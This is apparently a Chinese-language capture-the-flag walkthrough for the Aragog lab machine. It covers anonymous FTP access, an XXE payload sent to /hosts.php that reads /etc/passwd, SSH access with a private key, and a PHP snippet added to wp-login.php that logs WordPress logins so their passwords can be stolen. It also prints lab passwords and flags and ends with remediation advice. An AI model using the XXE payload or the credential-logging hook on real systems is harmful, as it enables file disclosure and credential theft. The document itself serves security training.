[Meachines] [Medium] Aragog FTP+XXE+HTTP请求凭证窃取权限提升
字数 1268 2025-08-29 08:30:12
Aragog靶机渗透测试教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP: 10.10.10.78
- 主机名: aragog.htb (需添加到/etc/hosts文件)
- 操作系统: Ubuntu Linux (基于SSH banner识别)
1.2 端口扫描结果
使用masscan和nmap进行扫描发现以下开放端口:
| 端口 | 服务 | 版本信息 |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 |
| 22/tcp | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 |
| 80/tcp | HTTP | Apache httpd 2.4.18 |
1.3 服务详情
FTP服务:
- 允许匿名登录(FTP code 230)
- 发现文件: test.txt (权限644,所有者ftp)
- vsFTPd状态信息显示安全配置
SSH服务:
- OpenSSH 7.2p2版本
- 提供三种主机密钥(RSA, ECDSA, ED25519)
HTTP服务:
- Apache 2.4.18默认页面
- 服务器头信息暴露Ubuntu系统
2. 渗透测试过程
2.1 FTP匿名访问利用
-
匿名登录FTP:
ftp aragog.htb 用户名: anonymous 密码: (任意或留空) -
获取test.txt文件:
get test.txt
2.2 Web应用扫描
使用feroxbuster进行目录扫描:
feroxbuster -u http://aragog.htb
发现关键文件:
- /hosts.php (存在XXE漏洞)
2.3 XXE漏洞利用
- 构造XXE攻击载荷:
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<details>
<subnet_mask>&file;</subnet_mask>
<test></test>
</details>
- 通过POST请求发送到/hosts.php:
POST /hosts.php HTTP/1.1
Host: aragog.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
[上述XXE载荷]
- 成功读取/etc/passwd文件内容,获取系统用户信息
2.4 SSH登录
- 通过XXE或其他方式获取私钥文件(id_rsa)
- 使用私钥登录SSH:
ssh florian@10.10.10.78 -i ./id_rsa - 获取user flag:
5420c3fc08d1386b85effa01662142f3
3. 权限提升
3.1 凭证窃取
-
发现WordPress站点:
http://aragog.htb/dev_wiki -
发现cliff用户每5分钟会调用一次WP登录脚本
-
修改wp-login.php添加以下代码窃取凭证:
<?php
$info = print_r($_REQUEST, true);
$fptr = fopen("/tmp/info", "a");
fwrite($fptr, $info);
fclose($fptr);
- 捕获到的凭证示例:
Array(
[log] => root
[pwd] => $@y6CHJ^$#5c37j$#6h
[wp-submit] => Log In
[redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
[testcookie] => 1
)
Array(
[redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
[wp-submit] => Log In
[pwd] => !KRgYs(JFO!&MTr)lf
[log] => Administrator
[testcookie] => 1
)
3.2 获取root权限
- 使用窃取的root密码切换用户:
su root - 获取root flag:
1c3944596f4736d61cc556ed22794d92
4. 关键漏洞总结
-
FTP匿名访问漏洞:
- vsftpd配置不当允许匿名登录
- 暴露敏感文件(test.txt)
-
XXE漏洞:
- hosts.php未对XML输入进行过滤
- 导致任意文件读取(/etc/passwd)
-
凭证管理不当:
- WordPress密码明文传输
- 定时任务使用高权限账户执行操作
-
权限提升漏洞:
- Web目录可写(允许修改wp-login.php)
- 缺乏进程隔离和最小权限原则
5. 修复建议
-
FTP服务:
- 禁用匿名登录
- 更新vsftpd到最新版本
-
Web应用:
- 修复XXE漏洞,禁用外部实体解析
- 对用户输入进行严格过滤
-
系统安全:
- 实施最小权限原则
- 避免在定时任务中使用高权限账户
- 定期更换敏感凭证
-
WordPress:
- 更新到最新版本
- 限制对核心文件的修改
- 使用HTTPS加密通信
-
监控:
- 实施文件完整性监控
- 记录特权操作日志